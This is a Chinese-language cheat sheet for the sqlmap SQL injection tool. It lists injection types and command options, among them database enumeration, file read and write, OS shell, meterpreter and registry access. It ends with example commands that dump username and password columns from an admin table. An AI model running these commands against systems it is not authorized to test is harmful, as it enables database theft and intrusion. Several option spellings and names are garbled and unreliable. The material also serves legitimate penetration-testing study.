Sqlmap簡介
注入模式
-
基於布林的盲注:可根據返回頁面判斷條件真假的注入
-
基於時間的盲注:不能根據頁面返回內容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面返回時間是否增加)來判斷
-
基於報錯注入:即頁面返回錯誤資訊,或者把注入的語句結構直接返回在頁面中
-
聯合查詢注入:可以使用union注入
-
堆查詢逐日:可以同時執行多條語句的執行時的注入
常用命令引數
-
-is-dba 當前使用者許可權(是否為root許可權)
-
-dbs 所有資料庫
-
-current-db 網站當前資料庫
-
-users 所有資料庫使用者
-
-current-user 當前資料庫使用者
-
-random-agent 構造隨機的user-agent
-
-password 資料庫密碼
-
-proxy http://local:8080 -threads 10 (可以自定義執行緒加速)代理
-
-time-sec=TIMESEC DBMS 響應的延遲時間(預設為5秒)
常用選項
Target(目標)
以下至少需要設定其中一個選項
-
-d DIRECT 直接連線到資料庫
-
-u url 目標的URL
-
-c configfile 從INI配置檔案中載入選項
-
-l LIST 從Burp或WebScarab代理的日誌中解析目標
-
-r REQUESTFILE 從一個檔案中載入HTTP請求
-
-g GOOGLEDORK 處理Google dork的結果作為目標URL
Request(請求)
這些選項可用來指定如何連線到目標URL
-
-data=DATA 通過post傳送的資料字串
-
-cookie=COOKIE HTTP Cookie頭
-
-cookie-urlencode URL編碼生成的cookie注入
-
-auth-type=ATYPE HTTP身份驗證型別(基本,摘要或NTLM)
-
-auth-cred=ACRED HTTP身份驗證憑據(使用者名稱:密碼)
-
-auth-cert=ACERT HTTP認證證照(key_file, cert_file)
-
-proxy=PROXY 使用HTTP代理連線到目標URL
-
-proxy-cred=PCRED HTTP代理身份驗證憑據(使用者名稱:密碼)
Enumeration(列舉)
可以用來列舉資料庫管理系統的資訊、表中的結構和資料
-
-b -bannner 檢索資料庫管理系統的標識
-
-current-user 檢索資料庫管理系統當前使用者
-
-current-db 檢索資料庫管理系統當前資料庫
-
-is-dba 檢測DBMS當前使用者是否DBA
-
-users 列舉資料庫管理系統使用者
-
-passwords 列舉資料庫管理系統使用者密碼雜湊
-
-privileges 列舉資料庫管理系統使用者的許可權
-
-roles 列舉資料庫管理系統使用者的角色
-
-dbs 列舉資料庫管理系統資料
-
-D DBname 要進行列舉的指定資料庫名
-
-T TBLname 要進行列舉的指定資料庫表
-
-tables 列舉的DBMS資料庫中的表
-
-columns 列舉DBMS資料庫表列
-
-dump 轉儲資料庫管理系統的資料庫中的表項
-
-dump-all 轉儲所有的DBMS資料庫表中的條目
-
-search 搜尋列(S)、表(S)和資料庫名稱(S)
-
-C col 要進行列舉的資料庫列
-
-U user 用來進行列舉的資料庫使用者
-
-exclude-sysdbs 列舉時排除系統資料庫
-
-level=LEVEL 執行測試的等級(1-5,預設為1,等級最低是,級別越高檢測越全面)
Brute force(蠻力)
這些選項用於蠻力檢查
-
-common-tables 檢查存在共同表
-
-common-columns 檢查存在共同列
File system access(訪問檔案系統)
這些選項可以用來訪問後端資料庫管理系統的底層檔案系統
-
-file-read=RFILE 從後端資料庫的管理系統檔案系統讀取檔案
-
-file-write=WFILE 編輯後端的資料庫管理系統檔案系統上的本地檔案
-
-file-dest=DFILE 後端的資料庫管理系統寫入檔案的絕對路徑
Operating system access (作業系統訪問)
這些選項用於訪問後端資料庫管理系統的底層作業系統
-
-os-cmd=OSCMD 執行作業系統命令
-
-os-shell 互動式的作業系統的shell
-
-os-pwn 獲取一個OOB SHELL, meterpreter或VNC
-
-os-smbrelay 一鍵獲取一個OOB shell,meterpreter或VNC
-
-os-bof 儲存過程緩衝區溢位利用
-
-priv-esc 資料庫程式使用者許可權提升
Windows登錄檔訪問
這些選項用來訪問後端資料庫管理系統windows登錄檔
-
-reg-read 讀一個windows登錄檔項值
-
-reg-add 寫一個windows登錄檔項值資料
-
-reg-del 刪除windows登錄檔鍵值
-
-reg-key=REGKEY windows登錄檔鍵
-
-reg-value=REGVAL windows登錄檔項值
-
-reg-data=REGDATA windows登錄檔值資料
-
-reg-type=REGTYPE windows登錄檔項值型別
Miscellaneous(雜項)
-
-batch 從不詢問使用者輸入,使用所有預設配置
-
-beep 發現SQL隱碼攻擊時提醒
常用命令
#檢測全部的資料庫型別,預設級別為1
python sqlmap.py -u "url" -batch
#指定資料庫型別為MySQL,級別為3
python sqlmap.py -u "url" -dbms MySQL -level3
#當程式有防get注入的時候,使用cookie注入
python sqlmap.py -u "url" -cookie "id=11" -level 2
#從post資料包中注入
python sqlmap.py -r "path\file_name" -p "username" -dbms mysql
注入成功以後
#查詢有哪些資料庫
python sqlmap.py -u "url" -dbms mysql -level 3 -dbs
#查詢test資料庫中有哪些表
python sqlmap.py -u "url" -dbms mysql -level 3 -D tset -tables
#查詢test資料庫中admin表有哪些欄位
python sqlmap.py -u "url" -dbms mysql -level 3 -D test -T admin -columns
#dump出欄位username與password中的資料
python sqlmap.py -u "url" -dbms mysql -level 3 -D test -T admin -C "username,password" -dump
#從資料庫中搜尋欄位
python sqlmap.py -r "path\file_name" -dbms mysql -D test -search -C admin.password
說明:在test資料庫中搜尋admin和password欄位
本文參考連結: